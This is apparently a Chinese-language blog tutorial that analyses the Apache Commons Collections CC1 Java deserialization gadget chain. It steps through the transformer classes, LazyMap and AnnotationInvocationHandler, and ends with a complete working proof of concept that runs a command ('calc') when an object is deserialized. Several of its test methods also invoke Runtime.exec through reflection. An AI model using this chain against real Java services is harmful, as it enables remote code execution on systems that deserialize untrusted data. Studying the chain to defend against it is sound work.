CC1
1、Transformer接口
从Transformer
接口开始,对于这个接口是这么介绍的:
它被实现为一个将一个对象转换为另一个对象的函数。Transformer
将输入对象转换为输出对象,而不修改输入对象本身。
2、Transformer的实现类
所有的实现类如下所示:
ConstantTransformer
功能是每次返回相同的常量值。并指出了使用该转换器的一些限制和注意事项;
- 构造函数
ConstantTransformer(Object constantToReturn)
用于创建一个新的ConstantTransformer
实例,传入的常量值会被存储起来以供后续调用使用。 transform(Object input)
方法是实现Transformer
接口的方法,它会忽略传入的输入对象,并返回存储的常量值。
也就是说,我们如果实例化了ConstantTransformer对象的时候传入了指定了一个对象,那么该ConstantTransformer对象的transform方法无论接收什么将永远返回我们指定的对象,demo如下:
public void constantTransformer(){
ConstantTransformer transformer = new ConstantTransformer(new String("Always me"));
Object o1 = transformer.transform(new Integer(1));
Object o2 = transformer.transform(new HashMap<>().put("admin", "admin"));
System.out.println("Input the Integer:"+o1);
System.out.println("Input the HashMap:"+o2);
System.out.println("o1==o2:"+(o1==o2));
/* Input the Integer:Always me
Input the HashMap:Always me
o1==o2:true
*/
}
ChainedTransformer
该转换器会将输入对象传递给第一个转换器,并将转换后的结果传递给第二个转换器,依此类推,形成一个转换器调用链。
- 构造函数
ChainedTransformer(Transformer[] transformers)
接收一个转换器数组作为参数,并将其存储在类的实例变量中。 transform(Object object)
方法实现了Transformer
接口中的方法,它通过循环遍历每个转换器,并将输入对象依次传递给每个转换器进行转换,然后将转换后的结果传递给下一个转换器,直到所有转换器都被应用完成,最终返回转换后的结果。
也就是说在创建ChainedTransformer
对象实例的时候,我们需要传入Transformer
接口的实现类数组,它的transform
方法会帮我们依次调用所有的实现类中各自的Transformer
方法;返回最后一个调用transform
的实现类的返回值;
@Test
public void chainedTransformer(){
ConstantTransformer transformer1 = new ConstantTransformer(new String("Always me"));
ConstantTransformer transformer2 = new ConstantTransformer(new String("Not me"));
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{transformer1, transformer2});
Object transform = chainedTransformer.transform(1);
System.out.println(transform);
//Not me
}
InvokerTransformer
这个转换器会使用反射机制来实例化一个指定类的新对象。
构造函数 InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
接收三个参数:
methodName
:要调用的方法的名称。paramTypes
:方法的参数类型数组。args
:方法的参数值数组。
transform(Object input)
:在给定的输入对象上调用指定的方法,并将方法的返回值作为转换结果返回。
也就是说在创建InvokerTransformer
实例的时候我们需要传入三个值:方法名,方法类型数组、参数值数组;而它的transform
方法接收任意对象,然后通过或者传入对象的类原型以及初始化时传入的三个值来反射调用这个对象的某个方法;
@Test
public void invokerTransformer(){
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
invokerTransformer.transform(Runtime.getRuntime());
//调用了Runtime实例对象的exec方法,方法参数值类型为String,参数为calc
//相当于 Runtime.getRuntime().exec("calc");
}
根据这个类的特性,我们创建InvokerTransformer
类的对象实例时,构造函数可以指定一个恶意方法,如果调用这个对象的实例时接收任意对象,那就可以达到执行任意类的任意方法的目的,从而可能导致RCE;
3、寻找调用链
TransformedMap(功能理解)
先介绍一下这个类,TransformedMap
的作用是对Map中添加的对象进行转换。常用于在Map中存储的对象进行类型转换的情况。
CC1链可以从这个类入手的,但是本文中从LazyMap入手,介绍这个类的原因是个人觉得理解这个类的用途对理解调用链很有帮助
先了解一下它的父类AbstractInputCheckedMapDecorator
和AbstractMapDecorator
;
AbstractMapDecorator
这个类实了Map接口,但是并未实现什么重要功能,先看AbstractInputCheckedMapDecorator
;
这个类是为了简化创建Map装饰器的任务。你可以把它想象成一个工具,它帮助你在往Map里添加数据时进行一些额外的处理,比如验证数据是否有效或者进行转换。让你可以在数据被添加到Map之前进行一些处理,这样就不需要自己去实现一大堆的类了。使用这个类,可以更加方便地创建自定义的Map。
现在假设我们有这样的需求:如果一个Map中的Value值是一个字符串类型,保证这个字符串是大写;实现AbstractInputCheckedMapDecorator
可以帮助我们自定义这样的Map;
实际上AbstractInputCheckedMapDecorator修饰符为default,所以demo中是伪代码,帮助理解这个类的作用;
public class UpperCasingMap extends AbstractInputCheckedMapDecorator {
public UpperCasingMap(Map map) {
super(map);
}
@Override
protected Object checkSetValue(Object value) {
// 如果值是字符串类型,将其转换为大写形式
if (value instanceof String) {
return ((String) value).toUpperCase();
}
// 否则,直接返回值
return value;
}
// 其他可能需要实现的方法...
}
public class Main {
public static void main(String[] args) {
// 创建一个普通的HashMap
Map<String, String> map = new HashMap<>();
Map<String, String> upperCasingMap = new UpperCasingMap(map);
upperCasingMap.put("name", "John");
System.out.println(upperCasingMap); // 理论输出:{name=JOHN}
}
}
到这里应该就不难理解TransformedMap
的作用了,它是AbstractInputCheckedMapDecorator
的子类,先看构造器:
需要传入两个装饰器和一个Map;
其中put
方法调用了transformKey
和transformValue
方法,随后保存起来;
这两个方法先对传入的key和value做了非空判断之后调用了keyTransformer
和valueTransformer
的transform
方法,而这两个就是我们传入的装饰器;也就是说如果使用这个特殊的Map,在使用put
方法的时候会根据你传入的装饰器进行装饰,checkSetValue
方法就仅仅只是对value进行处理;
那么我们利用TransformedMap
加上自定义装饰就能实现各种不同需求的Map了,非常的方便;
举个例子, 假设我们有一个需求:我们有一个存储员工信息的列表,每个员工信息都以字符串形式存储,包括姓名、年龄和工资,希望将根据字符串转换为对应的 Employee
对象,方便进行后续操作。
public class Employee {
private String name;
private int age;
private double salary;
//省略get set 构造器 toString
}
import org.apache.commons.collections.Transformer;
public class StringToEmployeeTransform implements Transformer {
@Override
public Object transform(Object input) {
if (input instanceof String){
String[] parts=((String) input).split(",");
String name = parts[0];
int age = Integer.parseInt(parts[1]);
double salary = Double.parseDouble(parts[2]);
return new Employee(name, age, salary);
}
return input;
}
}
public class EmpMap extends TransformedMap {
protected EmpMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map, keyTransformer, valueTransformer);
}
public EmpMap(Map map, Transformer valueTransformer){
super(map,null,valueTransformer);
}
}
@Test
public void transformedMap(){
StringToEmployeeTransform empTransform = new StringToEmployeeTransform();
EmpMap empMap = new EmpMap(new HashMap(), empTransform);
empMap.put(1, "Alice,30,5000.0");
empMap.put(2, "Bob,35,6000.0");
System.out.println(empMap);
//{1=Employee{name='Alice', age=30, salary=5000.0}, 2=Employee{name='Bob', age=35, salary=6000.0}}
//可以debug看看具体的转换过程
}
扯得有一点远了,会出现问题的关键就在于这个功能带来方便的同时其实也带了一些潜在的问题,就比如我们传入的是被InvokerTransformer
装饰的的map;
@Test
public void noSafeTransform(){
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
HashMap<Integer, Object> noSafeMap = new HashMap<>();
Map map = TransformedMap.decorateTransform(noSafeMap, null, invokerTransformer);
map.put(1,runtime);
}
LazyMap(调用链分析)
现在开始寻找CC链,在理解了TransformedMap的作用之后我们不难想到,CC依赖中xxxMap的部分作用都是用来将原来Map中的key和value通过装饰器装饰,以完成某种业务需求。那先找一找哪里调用了transform
方法;
找到LazyMap
:
如果键不存在于 Map 中,那么就调用 factory
的 transform
方法来创建对象。 factory
是在创建 LazyMap
实例时传入的工厂对象,用于创建对象的。不仅可以传入Factory,还可以传入一个Transform;
那可以进行如下测试:
@Test
public void lazeMap() throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
HashMap<String, String> map = new HashMap<>();
Transformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
Runtime runtime = Runtime.getRuntime();
Constructor<LazyMap> constructor = LazyMap.class.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap lazyMap = constructor.newInstance(map, invokerTransformer);
//也可以创建一个Transformer的Factory 对象
lazyMap.get(runtime);
//弹出计算机
}
那就寻找哪里调用了get方法,可以看到AnnotationInvocationHandler
中的invoke
方法调用了:
前面两个if和Switch中带了return语句,所以不能满足其条件。
此时就要确保方法名不为equals并且方法参数值必须为0,也就是无参方法;并且方法名不能为toString、hashcode、anntationType,才能走到get方法;
并且这个Map可控
那接下来就思考怎么调用AnnotationInvocationHandler
的invoke
方法,观察这个类发现这是一个实现了InvocationHandler
的类,它可以作为一个类的动态代理处理器,而代理对象执行方法之前就会执行代理处理器的invoke
方法;
所以现在需要创建一个代理类,并且使用AnnotationInvocationHandler
作为代理处理器来代理LayzeMap
,然后找一处LayzeMap
对象(实际上在AnnotationInvocationHandler
中它叫做memberValues
)的无参方法调用,最终找到入口readObject
那现在只需要寻找满足条件的无参方法;很幸运,就在AnnotationInvocationHandler
的readObject
方法中就有调用:
在写poc之前,先来解决一个问题,Runtime类不可被序列化(ProcessBuilder
也不行):
既然Runtime对象不能序列化,那就把Runtime.class序列化,然后在反序列化的过程中动态创建对象,通过InvokerTransformer
反射获取Method对象
后调用invoke
方法获取Runtime对象;
Method method = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(method);
Object o1 = invokerTransformer.transform(runtime);
Runtime.class可以使用
ConstantTransformer
返回,只要我们创建ConstantTransformer时指定Runtime.class调用transform方法时就永远返回它。
但是问题来了,LazyMap
如何被多个Transformer
装饰呢?好像是做不到的,那能不能换个思路,即使只被一个Transformer
装饰,也能调用多个transform
方法完成动态创建对象的过程,这里就可以用到前面介绍过的ChainedTransformer
;只需要按照如下顺序即可:
- 创建ConstantTransformer,初始化指定Runtime.class对象
- 创建InvokerTransformer指定对象为Runtime.class,使用getMethod方法,获取getRuntime方法
- 创建InvokerTransformer指定对象为method,使用invoke方法获取Runtime对象
- 创建InvokerTransformer指定对象为runtime,使用exec方法,传参为任意命令
所以上面的代码可以写成这样:
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
现在捋一捋整个链的调用流程:
poc如下:
@Test
public void chainedTransformer1() throws Exception {
//使用ChainedTransformer动态创建Runtime对象并调用exec方法
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//创建一个被chainedTransformer装饰的Map--LazyMap
HashMap<Object, Object> map = new HashMap<>();
Constructor<LazyMap> constructor = LazyMap.class.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap lazyMap = constructor.newInstance(map, chainedTransformer);
//创建一个AnnotationInvocationHandler并且传参为一个注解类和LazyMap的代理处理器--aih
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> c = aClass.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
InvocationHandler aih = (InvocationHandler) c.newInstance(Override.class,lazyMap);
//用这个代理处理器为LazyMap生成代理--lazyMapProxy
Map lazyMapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), aih);
//创建最终的反序列化类
Object o = c.newInstance(Override.class, lazyMapProxy);
//自己写的方法,就是简单的序列化和反序列化
SerializeUtil.serializeObject(o);
SerializeUtil.deserializeObject("object.txt");
}
成功执行:
评论区